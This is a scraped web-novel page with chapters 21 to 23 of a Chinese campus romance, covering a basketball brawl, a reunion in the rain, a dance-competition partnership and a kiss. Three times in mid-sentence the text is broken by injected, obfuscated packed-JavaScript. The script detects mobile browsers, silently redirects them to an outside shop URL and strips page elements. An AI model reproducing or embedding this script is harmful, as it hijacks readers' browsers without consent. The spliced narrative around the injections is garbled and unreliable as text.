迟郁也抬高了声音：“来了。” 走之前，他看了眼手机，云眠没有回复他的小号。 迟郁抿了下嘴唇，打开微信给她发了条消息。 [cy：我在打球^_^] [cy：你在干嘛？] 转而他又迟疑了片刻，这是不是太暧昧了？ 这算报备吗？ 不对，他怎么突然这么拧巴了？ 又不是没谈过恋爱…… 迟郁摇了摇头，拎起矿泉水喝了一口，往球场走去。 擦肩而过时，李朝阳倏地拽了下他的手臂。 迟郁脚步一停，转头。 他没什么表情，但看起来挺唬人的。李朝阳退缩了一秒，摩拳擦掌道：“我不会放水的，我一分都不可能让你得。” “啊？”迟郁蒙了一下，点了点头，“加油。” - 收到迟郁的消息时，云眠恰好路过一个篮球场。 她转过身，抬眼随意地打量了一下左手边的人群。 没有迟郁的身影。 也对，应该在其他地方吧。 云眠继续走路，准备前往舞室练舞。但走出一段距离后，她突然收到了舞室老师的消息。 太阳太晒了，空气都燥热。她需要眯起眼睛才能看清屏幕上的字迹。云眠转头，发现自己竟然走到了下一个篮球场，干脆在路边找了个长椅坐下。 [舞室：不好意思啊眠眠~今天我回老家了所以舞室先关门啦。] [舞室：我给你约明天早上的，你看可不可以？] 云眠思考了片刻，发送了一句“OK”。 她盯着自己手中拿着的报名表，心想刚好研究一下该用什么曲目参加。 这是首都一年一度的中国舞比赛，含金量很高，她需要拿到奖项。 《处暑》？太和缓了，《夜芭蕾》？曲调太单一了。 思来想去，最合适的竟然是她最熟悉的《小雨》，但目前网上所流传的调子少了点什么……云眠打算再自己改编一下。 正想着，不远处的球场猝然爆发出尖锐的叫声。 “你们别打了！！！” 21. 靠近 “别打了！！我靠！你们快放手啊！” “有什么话不能好好说吗！” 声音的穿透性极强，实在让人无法忽视。云眠扭过头看了一眼，只见乌泱泱一群人围在篮球场中间，十分热闹。 她不爱八卦，只看了一秒钟便回过头去，继续研究自己的参赛作品，却突然听见了自己熟悉的名字。 “喂！迟郁！你别看着啊！快去拉架！！” 云眠动作一滞。迟郁？拉架？ 迟郁竟然有一天，会和“拉架”这个词扯上关系。 她干脆起身，靠近篮球场，目光一瞬间便聚焦到了站在人群之中的迟郁。 他长得高，身上又有种不俗的气质，此时没说话，也没什么表情，在嘈杂的一群人中格外显眼。远远望去，他似乎皱着眉，看起来心情不怎么好，但也没因为面前打架的两人而生气。 迟郁只是在想云眠怎么不理他，过了一会儿才把注意力转移到面前纠缠着胳膊指着鼻子互骂的两人。他顿了下，冷笑了一声：“你俩有毛病？” 可惜那两人打架太入迷，他声音不大，没人听见，也没人停下。 迟郁明明是无关人员，他甚至都不想劝架，却被一群人围了在中间，此时脸上只写着无语。 他实在不理解，为什么突然打起来了？ 篮球训练赛开始不久，王浩然起跳抢到球后，几人陆续得分。对面的李朝阳突然举手，举了一会后他突然反应过来没有裁判，于是站在原地喊了声：“我要暂停。” 没人停下。 男生们基本都互相认识，比起训练更多是打着玩玩，此时都忙着跟着球跑，根本没人听到他的“暂停”。 只有方琛路过李朝阳，倏地放缓了脚步：“咋了这是，你怎么不动了？” “先暂停一下。” 方琛：“啊？” 李朝阳声音里带了几分怒火：“我说！先别打了！” 迟郁那队人都听见了他这声怒火，纷纷停下脚步，几人面面相觑不知什么情况。 李朝阳稳了稳声音：“我带着框架眼镜不方便，给我几分钟，我回去换隐形。” 站在王浩然旁边的男生愣了下，纳闷道：“但是宿舍离着很远啊，等你回来都啥时候了。” 王浩然擦了擦汗，附和道：“是啊兄弟，反正都是好哥们，打着玩玩。” 剩下的几人也随声附和，占篮球场本就不容易，更何况李朝阳他们是后来的，几人都不愿意浪费时间，七嘴八舌地劝着。 “要不你找个替补上？” “呃，他们好像没替补，反正就打一会儿，又不是看不清。” “对啊对啊，我们本来练得好好的，是你们说要一起打……” 迟郁没参与讨论，趁着空闲走到了树荫下拎起矿泉水。这一扎水都是王浩然买的抗来的，实在是个很称职的队长。 他低头随意地拿起手机，发现云眠仍旧没回复他的消息，闷闷不乐地锁屏，一转头便发现他称职的队长已经和李朝阳呛起来了。 “你这样根本就不公平！” 王浩然饶是再好的脾气，此时也忍不下去了：“不是，什么不公平啊？刚开始打没几分钟呢，你这是干什么啊？？” 李朝阳扶了扶眼镜：“你一点都没有竞技精神，打就得好好打，就你这样的还当队长？” 他朝远处的迟郁瞥了一眼，话里带了几分阴阳怪气：“就这水平还找迟郁加入你们？” 王浩然越听越莫名其妙：“不是，你这是故意找事啊？难怪你人缘不好——” “你才人缘不好！”李朝阳扶好了眼镜，闻言上前一步拉住了他衣领，“要不是我带着框架眼镜不方便运动，刚刚怎么可能让你抢到球？” 围在旁边的几人见他动了手，连忙把他向后拽，方琛也走了过来拍了拍他肩膀：“哎，兄弟，真没必要。你先撒开。” 王浩然怒极反笑，他本来就高壮，比李朝阳足足高了半个头：“你逗我呢？” 他反手拽住了李朝阳的胳膊，二人火花一触即燃，他瞪着李朝阳道：“都是兄弟，我不想因为小事跟你打，你把手撒开。” 李朝阳也毫不退让：“我偏不。” 迟郁越听越皱眉，干脆又喝了口水。 他低头再次给云眠发了条消息的时间，那边已经喊了起来。 太吵了。迟郁扭过头，发现短短几秒钟时间，他们二人已经扭打在了一起。 王浩然人高马大，一身腱子肉，抓着李朝阳的两根胳膊，像拎小鸡仔。李朝阳也丝毫不甘示弱，手里攥着他衣服，挠得他脖子通红。画面十分……不忍直视。 一群人篮球也扔了，撸起袖子便上去拉架。迟郁本想站在旁边看着，却突然对上了男生的视线。 男生染了一头亮眼的红毛，穿得十分潮流，隔着不近不远的距离朝他挥手：“喂！迟郁！你别看着啊！快去拉架！！” 快去拉架？ 这人站在最中央，自己不动手帮忙，反而叫他“快去拉架”？ 迟郁眼神冷了下来。 几个站在旁边插不上手，手忙脚乱的男生也猝然注意到了迟郁，一股脑便把他簇拥到了最中间，七嘴八舌地怂恿他依靠武力直接镇压这两位。 迟郁没什么反应，反而抬眼和红毛对上了视线，挑了挑眉：“你快去拉架啊。” 红毛哈哈一笑，不屑地瞥了眼打得双眼通红的李朝阳，反而伸手捏了捏迟郁的胳膊：“我以为你要问我为什么认识你呢，兄弟。” 迟郁冷哼一声：“认识我很正常。” “没错没错，没想到这么快就见到你了。”红毛强硬地单方面和他握了个手，“实不相瞒，我昨天骗了你两个九十九块钱。” 迟郁这才打量了他一下：“……骗？” “不然呢！”红毛震惊了一瞬，随后满是怀疑，“你该不会觉得那玩意真值九十九吧！？” “……没研究过。” 如果云眠……看到了的话，应该挺值的。但问题是，直到现在云眠都没有回复他，也不知有没有诱惑成功。 第一式就不成功，第二式呢？ 他没细想。 那两人仍旧打得火热，被围在中间的滋味不好受，迟郁打算出去透透气，却被红毛叫住：“哎哎，我还没跟你说我叫什么名字呢，我叫方琛，方圆的方，一个王字旁的……” 迟郁朝他摆摆手，转身准备走出这个拥挤的圈子。 李朝阳明显力气不敌大个子王浩然，身形不稳，摇摇晃晃地歪倒——恰巧撞在了迟郁身上。 迟郁毫无防备，被他结结实实地砸在了后背上，发出一声巨响。 他扭过头，看见李朝阳拿后脑勺对着他，顿时冒了火气，再想到云眠这么久没回他消息，还有早起的烦躁，被迟父念叨的烦躁……登时把所有怒火都迁到了李朝阳身上。 再加上，迟郁本就不是好脾气的人。他转身抬起手推了李朝阳一把：“草，找死呢？” 李朝阳从未想到又高又瘦，也没有王浩然这种大块肌肉的迟郁，力气竟然这么大。一下子站不稳脚步，整个人被推飞了出去，狠狠摔在了地上，整个人半趴着。 一时间，整个篮球场陷入了沉默。 方琛也愣住了，只剩下嘴不受控制地小声道：“我去……这是真拉架啊。” 几个男生此时也不知该作何反应，没有一个人上去扶他，良久，其中一个男生喃喃道：“呃，要不，咱们都冷静冷静吧。” 王浩然也呆滞道：“嗯，嗯……冷静冷静。” 迟郁揉着手腕，表情淡漠地看了地上的李朝阳一眼，什么也没说。 虽然还有气，但他总不能再把人扒拉起来揍。 不远处放在台阶上的手机响了一下，为了不错过云眠的消息，迟郁特意在过来前设置了声音。一听到清脆的响声，他抬腿立马走到了台阶前。 [眠眠：好巧，我刚过正好路过篮球场耶。] [cy：！] [cy：那你现在在哪？] [眠眠：已经回宿舍啦。] 也就是说——刚才他打球时，云眠恰好路过？ 虽然现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621190|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云眠已经离开了，并且没有停留，但迟郁还是扬起了嘴角，心中的阴霾一扫而光。 闷热的午后逐渐褪去，暑气消散，原本烤得人发慌的太阳竟然被乌云遮盖，转眼便要咋下雨珠。 迟郁正在斟酌着如何给云眠发消息，邀请她今晚一起吃饭……顺便问问她有没有看到自己的朋友圈。 方琛也彻底混入了王浩然战队，正绕着头发和几个男生闲聊天，视线不经意瞥到那边的迟郁，登时睁大了眼睛：“我草！闪开啊！迟郁！！！” 他声音挺大，但传到迟郁耳朵时也像隔了一层雾，模模糊糊的。迟郁只恍惚间听见有人喊自己名字，一转头却看见直直地冲他而来的李朝阳。 李朝阳鼻子已经磕破，流了满脸血，看起来很吓人。听见方琛的喊声，他不屑地“切”了一声，仍旧用尽全身力气朝着迟郁冲去。 草！凭什么迟郁一巴掌就能把他推飞！这么丢人！！ 都怪迟郁！他要让迟郁也磕破脸！ ——诶？ 李朝阳以为自己动作很快了，毕竟他和迟郁已经近在咫尺。但转过头的迟郁脸上丝毫没有恐慌，反而是几分疑惑。 见李朝阳仍旧不改变路线地朝他撞来，迟郁没什么表情，却伸出了胳膊，再一次把李朝阳摔翻在地。 灰尘四起。 他跌在地上，十分狼狈。 迟郁愣了一秒：“你这是……？” “草！”什么舍友不舍友的，他一定要打翻迟郁，一定要让迟郁脸上也挂彩。李朝阳在地上趴了几秒，，再次翻身而起。 终于，在他的不懈努力与进攻下，迟郁的脸颊被他打破，露出几道红色血痕。原因是，迟郁分心去看了自己响起的手机。 李朝阳更气愤了，他明明一直在拼尽全力揍迟郁，但迟郁竟然有心思看手机！？ 更重要的是，迟郁被打了，竟然也很帅。他清秀白皙的脸上带着几道红痕，看起来颇像电视剧里男主角化的受伤妆。 李朝阳攥紧拳头，打算趁这个机会再给他一拳，却被迟郁抓住了手腕。一抬头，对上的是迟郁冷到极点的眼神，毫不掩饰的厌恶，仿佛在看什么垃圾，也仿佛在嘲笑他幼稚的攻击：“喂，你够了吧？” “别找死。” 他顿时失去了全部力气，握紧的拳头散开，再一次跌倒在地。 暴雨突然落下。 一群男生也顾不上篮球了，抱起自己的衣服就跑。王浩然捡起了两只队伍的两颗篮球，离开前看着躺在地上的李朝阳，终究还是不忍心，把他拖走了。 方琛撑着衣服举过头顶，看了眼站在树下的迟郁：“喂，你还不走啊？” 迟郁淡淡扫了他一眼，没什么情绪地“嗯”了一声。 “草，你傻逼啊？” 没等迟郁开口，他指了指头顶，“别怪我没提醒你啊，下雨天在树下站着容易被雷劈。” 闻言，迟郁一愣，随即笑了一声。 “行了行了，希望你不要被劈死，我还期待以后再坑你钱呢。”方琛身上湿透了，也没心思再多说话，只是摆了摆手，“我先走了啊。” 最后一个人也离去，篮球场只剩下了迟郁一人。 很空。 很安静。 只有雨声。 雨太大了，树叶根本遮挡不住。迟郁拿起淋湿的外套，后知后觉地摸了一下自己的脸，一道血痕，触摸起来有一丝痛感。 他动作缓慢地，再一次触碰了一下。 还好，云眠在宿舍，不会被淋到。 这场突如其来的雨太大了，竟然让他莫名生出几分落寞之情，酝酿了一天的情绪猝然爆发。迟父失望的眼神，云眠的离去…… 不。迟郁摇了摇头。他没资格规定云眠必须喜欢他。 只是，饶是他脸皮再厚，也看出了云眠的有意疏离。 为什么不管怎样，到最后都只剩下他一人呢…… 迟郁抬手抹了把雨，把几滴眼泪揉了进去，心想迟郁你可真是矫情。 没等他被这暴雨浇个透顶，一把伞打在了他的头上。 22. 搭档 这场雨来得突然又猛烈，恍惚之间世界都安静，仿佛只剩下他一人，心中的孤寂难以排解，未等他缓过神来，风便吹动雨丝直往他脸上扑。 迟郁正背对着台阶，预料之中的淋湿没有到来，取而代之的是视线内粉色的伞檐。 他愣住了，半晌才迟钝地抬头，再抬头，只见那伞悄声往他面前挪了几分。 雨声似乎消失了，拍打地面的频率都变得慢又缓。 冷风扫过他裸露的胳膊，迟郁慢半拍地转过头，见到的是最想见的人。 云眠站在高出地面半截的台阶上，半弯着腰，单手撑住那把伞，迎上迟郁的视线，她笑了笑：“这个台阶好高。” 她声音比雨滴还清脆，敲得人心脏发麻。迟郁凝视了她一会儿，终于在沉默中率先开口：“……云眠？” 闻言，云眠也是一愣，随后点了点头：“是我。” 迟郁的目光缓慢地蹭到她白净的脸上，云眠的刘海被风吹得有些乱，肆意地摆着，反而衬得她明媚善睐，眉眼明亮，她似乎是有些着急，脸上泛着轻轻的红晕，整个人娇嫩又柔和，嘴角微微弯起。 迟郁心下一动，直直地盯着她嘴唇，粉嫩又饱满的。他眸子闪烁了几秒，最终念念不舍地垂眸，云眠纤细的脖颈，漂亮的锁骨，她只穿了简单的白色短袖，胳膊被冻得发白，肩头湿了一块。 “轰隆”一声—— 迟郁手指颤抖。 云眠把伞向他倾斜，难道不知自己被淋湿了吗？ 他颤巍巍伸出手，在云眠反应过来前用自己发烫的指尖触碰了她细嫩的胳膊的皮肤，迟郁突然不知该说些什么了。 撞入云眠视线的瞬间，他猛地记起自己脸颊的伤，一定非常丑吧。 迟郁避开视线，反手蹭住了脸，借此遮挡那难看的红痕，他开口，声音有些闷：“……你不是在宿舍吗？” “难道……”迟郁眼睛亮了起来，小心翼翼带着几分猜测，“你是特意来找我的？” “啊……这个嘛……”差点忘了这一茬。云眠心想，目睹了一整个打架现场，她都忘记自己应该已经待在宿舍里了。 编不出借口，她干脆生硬地转移话题：“好巧啊，还好没淋到你。” 可迟郁不吃这一套，反而步步紧逼，似乎一定要得知什么答案：“你是特意来找我的，是不是？” 云眠视线乱跳，最终落在了他脸上，伸手指了指：“咦？你的脸……” 迟郁立刻反应了过来，像受惊的小动物般捂住了自己的伤口。 云眠见他受用，笑意盈盈地凑近：“迟郁该不会和别人打架了吧？” 未等迟郁开口，天空中又是“轰隆”一声巨响。 他看向远处，乌云聚集，待在树下太危险了，他伸手极轻地握了一下云眠的手腕，柔声提议：“我们换个地方，好不好？” 说是换个地方，偌大的操场有椅子的地方便有树。伞被他接过，云眠没有甩开他的手，静静地随他走去了操场旁的便利店旁的长椅。 同样的便利店，同样的长椅，同样的暴雨。 一时之间，两人心里都有些波涛起伏。 云眠揉着手腕，见他接过伞后的第一件事便是往她这儿挪，此时心里不免有些柔软，悄然挑了下眉提醒：“你还没回答我呢。” 迟郁不想回答她，太丢人了。其实便利店的屋檐也不足以遮挡暴雨，常有几滴雨点炸开在两人的脚尖，但迟郁不想和云眠分开，他想和云眠再说说话，不想让云眠再回到宿舍，抛下他一个人。 长椅的一侧沾了水，迟郁拿起自己的外套，他的皮衣防水，外面是湿的，里面却很干。迟郁想了一秒，用袖子擦干了长椅，随后披在了云眠身上。 他凑近，低声问道：“还冷吗？” 云眠猝不及防闻到了他身上好闻的香气，像木质香调，沾了雨水，带着股清新。她用力攥紧了衣服，摇头：“不冷了。” 她的目光停靠在迟郁的脸上，那道血痕在他毫无瑕疵的皮肤上格外显眼，却不难看，迟郁还是第一次因为打架而脸上挂彩。于是她问道：“你疼不疼。” 语气很轻，像肯定。 迟郁顿了下，抬手碰了一下：“不疼。我不小心磕的。” 云眠眼睛睁大了一瞬，下一秒，她控制不住地笑出声，声音越来越大，她干脆轻捂着嘴笑了半天。 “……你笑什么？” 云眠眉眼弯弯，不由自主地向他靠近：“你还不如承认是打架打的呢，这样说也太笨了。” 迟郁没说话，眼皮轻轻垂了下去，憋出来一句：“我怕你不喜欢我打架。” 云眠盯了会儿他放在腿边的伞，又抬头看了会儿天，仍旧是阴雨绵绵，天色越来越黑。 她突然认真道：“如果是我喜欢的人，做什么我都会喜欢的。” 她话里似乎暗示着什么，但迟郁突然没有勇气问出口，也没有勇气猜想云眠是不是喜欢自己。他突然有点儿郁闷，可是过了一会儿着阴霾便一扫而去。 迟郁侧头，盯着云眠的侧脸，同样认真道：“我喜欢你，所以你做什么我都喜欢，反之也成立。” 这场雨不知什么时候才能停，云眠在心里想着。 雷声不断，便利店老板关闭了所有窗户，探头扫了眼遍布阴霾的天空，干脆利落地拉上了窗帘。路上也没什么人，有伞的没伞的都匆匆赶路，这样的暴雨天，似乎默认了宁静。 反之也成立。云眠在心里默念了一遍，好巧不巧，迟郁不懂她的暗示，却给了她明示。 她一转头便对上迟郁的视线，目光一滞，便是他的伤口，淅淅沥沥还在冒着血。云眠心想，这种小伤口她一般几分钟就不流血了，迟郁还挺细皮嫩肉的。 她起身，敲响了便利店的门，在老板震惊的眼神中买了瓶酒精，随后又帮老板拉好了窗帘。 迟郁仍然坐在原地，盯着她一步步地走来，像要把她盯穿。 云眠摊开手：“我帮你涂，还是你自己来？” “我自己……”迟郁伸手准备接过，又缩回了手，“你帮我。” 云眠失笑，动作很轻地给他涂着酒精，一下又一下。 迟郁没闭眼，也没移开目光，反而直勾勾地盯着她，正在云眠准备发作时，他突然开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621191|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口：“你……是不是没有回宿舍。” 云眠动作一滞，有些不自在，故意没去看他：“为什么这么说。” 迟郁目不转睛地看着她，竟然勾了下嘴角：“我猜的。” 但却一副胜券在握了如指掌的表情。 云眠莫名有些不爽，手上动作偷偷加重。 迟郁仿佛全然没感觉一样，看着她一字一句道：“其实，我一直在等你的消息。” 说这句话时，他脸上竟然有点红。 云眠擦了最后一下，低头拆创可贴，随口问道：“哦？为什么？” “……不知道。”迟郁犹豫了一下，“我总是下意识等你的消息，哪怕你不怎么给我发。” 他声音恹恹的，意思却不老实，暗示意味满满：“我知道，我没有让你主动给我发消息的身份，可能在你心里的地位也不重要，有时候你也不回我……” “诶。”云眠随意给他糊上了创可贴，歪的，在他脸上卧着显得有点儿好笑，但她还是绷住了表情，生硬道：“说得有点过了吧。” 迟郁说话怎么茶里茶气的。 她得给他纠正一下。 云眠道：“我们又没什么关系，你没有自己的事情做吗？” 迟郁问道：“类似于什么事情？” 云眠思索了一会儿，举了自己的例子：“比如，平时我在做烫花，有时候去舞室练舞，最近打算参加中国舞比赛，但是伴奏的钢琴曲太单调了打算自己改编……这种事情吧？” 迟郁没有回答她的问题，反而挑了她的话，重复道：“钢琴曲太单调？” 云眠一愣：“对啊。” “你说的中国舞比赛，是首都举办的那个？” 云眠皱了下眉：“……对，你怎么了解这个？” 迟郁抬头：“我给你伴奏吧。” 为了方便给他涂药，云眠刚才站了起来。此时迟郁一抬头，两人视线恰好交汇。 她下意识想拒绝，可下一秒便觉得，这个主意听起来不错。 比赛是现场表演，现场弹奏钢琴的效果一定比她放录音的效果好。而她认识的人中只有迟郁会弹钢琴，原本她打算自己弹的。 思索了半晌，迟郁也没打扰她。云眠终究肯定了这个主意，点头道：“好。” 迟郁似乎并不意外，向她靠近，笑了一下：“合作愉快。” “合作愉快。”云眠向他伸出手，突然道，“但是先说好，我们现在是单纯的搭档关系。我喊你你就要来训练，不能有个人情绪，不能因为我不回你消息就不来训练……” 迟郁毫无防备地被她攥紧手，听她说完，声音含着几分笑意：“好的，搭档。” 云眠和他对视，手上用力将他往前拽了一下，伏在他耳边轻声道：“……也不能像今天一样，发朋友圈勾引你的搭档。” 看着迟郁愣住的神情，云眠心下得意。可未等她偷笑，迟郁便凑近了她，声音低沉又沙哑，学着她的语气：“那你也不可以，未经允许亲你的搭档。” “毕竟我们没什么关系，对吧？” “曾经的，亲嘴搭子。” 23. 脸红 曾经的亲嘴搭子。 迟郁的话在她脑子里转了一圈，又钻了出去。明明没什么语气，但细细品来竟然有几分委屈。 云眠不禁笑了出声。他怎么这么记仇？ 她的手还被迟郁攥着，骨节分明的手指轻轻在她手心打圈，云眠心里痒痒的，想抽回手，但力气不敌他，只得认命般放任迟郁继续磨蹭着。 暴雨带来了一丝冷气，云眠哆嗦一下，裹紧了外套。她的目光恰好能看见迟郁的侧脸，能看见很长的睫毛轻轻扑闪着。 云眠盯了他几秒钟，轻轻往前凑，一字一顿道：“亲嘴搭子？” 迟郁一愣，以为她忘记了。刚想提醒，便听见女生清脆的带着一丝撩拨的声音，像有气泡往耳边钻：“……谁家亲嘴搭子只亲这么几次。” “跟你当搭子，我也太吃亏了。” 女生轻皱着眉，视线望向不远处被雨水拍打着的灌木丛，似乎真在不满。 “……吃亏？” 迟郁不由得哑然。吃亏？难道云眠不止喜欢他，甚至对他一点感觉都没有吗？ 所以才觉得，跟他当“亲嘴搭子”很吃亏。 迟郁眼睛垂了下去，长睫颤抖。他一句话也说不出来。 直到云眠终于发现了他的沉默，主动打破这僵局：“你怎么了。” 迟郁手指还留在她手心，此时也没有动作。良久，他想收回手，但却不小心在云眠的掌心挠了一下。 触摸到她有些冰凉的肌肤，迟郁一时愣了神，终究将她握得更紧。 他轻声道：“你觉得吃亏，是因为你一点都不喜欢我吗……一点都不。” 话一出口，他才发现几分钟过去，自己的嗓子竟然这么哑这么难听。 有些起风了，云眠正忙着裹外套，忽然听他冒出这么一句话。实在是太过荒谬，她差点控制不住表情，但考虑到迟郁的感受，云眠费了半天劲憋了回去。 终于，她在脑中想明白了迟郁的脑回路。 更荒谬了。 这还是吊儿郎当拽炸天的迟郁吗？ 这还是路过的狗看他一眼，他就觉得自己魅力大到狗都爱的迟郁吗？ 云眠皱了半天眉毛，扭头看着迟郁，发出了疑问：“所以你觉得——我说吃亏是因为是你？是因为我不喜欢你，我讨厌你，所以跟你亲嘴我都觉得很吃亏？” 话太拗口，她说出口，自己都绕了半天。 迟郁的心情随之“我不喜欢你”“我讨厌你”越来越低落，最终跌落谷底，在云眠紧逼的目光下“嗯”了一声。 像硬生生挤出来的，极其不情愿。 云眠含着笑意的眸子注视着他，情丝缠绕，带着几分说不清道不明的情绪。直到迟郁被她盯得脸红，她才抬起头，很轻地啄了一下迟郁的唇角。 在迟郁诧异的眼神中，她笑了笑摇头：“不是哦。” 话毕，云眠再一次吻了上去。 这次的吻比上次要重，柔软的唇瓣相抵。 “我只是觉得，亲的次数太少了，好可惜。” 她嘴角含笑，看着迟郁的脸越来越红。云眠又一次恶劣地凑了上去。 这次，她伸出舌尖轻轻舔了一下迟郁的唇角。 迟郁的眼睛一瞬间睁大，猛地起身。 窄小闭塞的屋檐与长椅，他兀然起身，空气都变得拥挤。 云眠，舔了他…… 云眠舔了他的嘴。 迟郁倏地用手背蹭了下嘴唇，那里仍有云眠的余温，和湿漉漉的触感。他缓了好一会儿，甚至不敢看云眠。 以前谈恋爱时，云眠也没有主动舔过他。 只有他自己，青涩地触碰云眠的嘴唇，用自己的唇去蹭她，疯狂地摩擦着，或是蹭她的耳朵和脖子…… 这就是舌头的触感吗？ 滑滑的，湿湿的。 迟郁不敢再继续想了。他能清晰地察觉到自己的某个部位正在脱离他的控制。 在他反复脸红的时间里，云眠坐在原地，抱着胳膊饶有兴趣地看着他。 云眠不禁觉得有些好笑。迟郁看起来如坐针毡，一时间脸上闪过无数个情绪。错愕，惊讶，高兴，犹豫…… 甚至还做出了逃跑的姿势。 但下一秒迟郁便收起了各种表情，倏然坐了回来，抬手给她裹紧了衣服，仿佛怕她冷一般。 但红透的耳根和迟疑着不敢看她的目光，仍然暴露了迟郁的小心思。 云眠突然发现，哪怕两人谈了这么久恋爱，哪怕迟郁再怎样追求她或是对她好，迟郁都还只是一个十八岁的满是孩子气的少年。 是被她亲一口就会脸红无措的少年。 云眠心下一动，心底的某些柔软被触动。但看着迟郁又泛起红晕的脸颊，她又有些坏心思了。 又是“轰隆”一声惊雷，天色越来越暗。 云眠垂头，拿出了自己的手机，在迟郁好奇的余光里翻到了他的朋友圈。 她抬起手机，迟郁已经做好了装死的准备—— 但仍是毫无防备，云眠的声音一字字砸在他耳中：“不过迟郁，你这个朋友圈是什么意思啊？” 可进可退的提问方式。 迟郁支支吾吾，却不敢不回答：“没什么意思吧。” 云眠手中的他的肌肉太晃眼，迟郁简直想回去掐死今早的自己。 云眠点点头：“哦。就是单纯想发照片。” “挺好看的。” 她将手机举到面前，同时也更明晃晃地出现在迟郁的视线里。 云眠手指指着嘴角，慢吞吞道：“以前没发现，你身材蛮好的嘛。肌肉跟曲线都很好看，构图也很好……” 她的声音单纯直白，像真在夸奖，迟郁忍不住脸红，更忍不住的是—— 自从他发现自己的那里不受控制后，它就更不受控制了，云眠的声音好好听，云眠的嘴唇好软，云眠手指着嘴唇看起来好可爱…… 草。 他有病吧。 迟郁简直想甩自己一巴掌。自己怎么这么不要脸啊！？ 真是不正经。 他忍了又忍，悄无痕迹地换了个姿势遮挡了一下。还好云眠没注意到他的异常。 但云眠突然不说话了。 迟郁一顿，转过头却发现她脸也很红。 少女的皮肤本就白皙娇嫩，此时添了一抹粉红色，白里透粉，像刚成熟的水蜜桃儿，可爱又迷人。 草。 迟郁狠狠咬了一口自己的舌头，终于在疼痛下回过神。 两个人竟然谁都没说话，久到便利店老板出来透气，问道怎么坐在这儿，是不是没伞。 迟郁赶紧叫住了正准备回去拿把伞给他们的老板。他眼神瞥向云眠，却发现云眠也正在看自己。 迟郁清了清嗓子，哑声开口：“那个，你比赛准备用什么曲子啊？” “啊……”云眠也回过神，翻找手机给他找曲目。 无意间又看到了迟郁的照片，她吓得差点把手机扔飞，心脏扑通扑通直跳。 云眠！！！谁让你眼睛乱看的！！！ 她刚刚一不小心，看到了迟郁僵硬的动作，也一不小心，看到了他的…… 都是成年人，上过生理健康课，她自然知道这是什么意思。 但她明明什么都没做啊。 她只是逗了逗迟郁，谁知道迟郁这么不禁逗。 还是说……云眠不动声色地瞄了他一眼。迟郁这么喜欢她吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621192|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一看，她魂差点飞了出去。 她的手指一抖，直接切到了交易软件。她和“hxhmmzmb”的聊天软件径直出现在了画面上。 云眠面色一僵，却发现旁边的迟郁比她还尴尬。 于是她立刻缓过了神。也对，这是迟郁的马甲，她知道自己知道，但迟郁不知道她知道——总之，该尴尬的应该是迟郁。 想到这里，云眠便勾了勾嘴角，主动为他介绍起了这位“顾客”。她大大咧咧地点击，跳转到了自己的商品界面。 反正迟郁不可能敢主动提起这段聊天记录，这样想着，她更加有恃无恐，甚至带着几分试探道：“你说这个人的id是什么意思啊，一串乱码。” “好喜欢眠眠怎么办。” 迟郁脱口而出。 云眠整个人愣在了原地，半张着嘴，眨了眨眼：“……啊？” 她没料想到迟郁直接承认了，难道不怕她发现吗？ “好喜欢眠眠怎么办。”迟郁垂着眼皮，没什么情绪，“我猜的，首字母拼起来应该是这样吧。” 他补充道：“但这应该不是用首字母拼的，可能没什么意思。” “……”云眠咽了咽口水。主动提起的是她，现在手足无措的也是她。 迟郁向前凑了一下：“这就是你在网上定制的烫花吗？” 云眠突然想起，迟郁曾经向王世辉问过这事儿。她点头：“对。” “他订的是白色洋桔梗。” 云眠一顿，又点头道：“……对。” 迟郁垂眸，喉结滚动了一下：“很漂亮。” “比你高中时做的还漂亮。” 云眠嘴角僵住。思绪一瞬间被拉回到了那个夜晚，虫鸣，月圆。借着明亮的月光，她将做好的第一支烫花举到窗边，得意地问迟郁：“漂亮吧？” 那时的迟郁看她看得认真。白色洋桔梗像从月亮上长出的，散着光芒照着两个逃课躲在空教室的小孩子，迟郁话说得认真，不知是对着她还是对着花：“很漂亮。” 云眠手指一顿，心里泛起一股酸涩。 那时也在下雨，迟郁脱下自己的外套裹住她，正如现在一般。 稚气的少年对谁都爱答不理，高高在上。唯独对她肯捧着一颗心，任她怎样践踏都可以。 云眠竟然不知该怎么回应这句话，手指颤巍巍指着屏幕，她字字斟酌却唯有沉默。 迟郁在此刻拉住了她指尖，无名指纠缠滚烫，与凉丝丝的雨点形成鲜明对比。迟郁声音带了抹心疼，靠得她更近：“你这是烫的？” 云眠这才发现自己无名指尖不知何时烫了块伤，早已结痂。 纤细修长的手指交缠，肌肤相触，指尖轻抵。在暴雨下，世界唯有他们二人，一把伞，一个屋檐，相顾无言，只有血液滚烫。 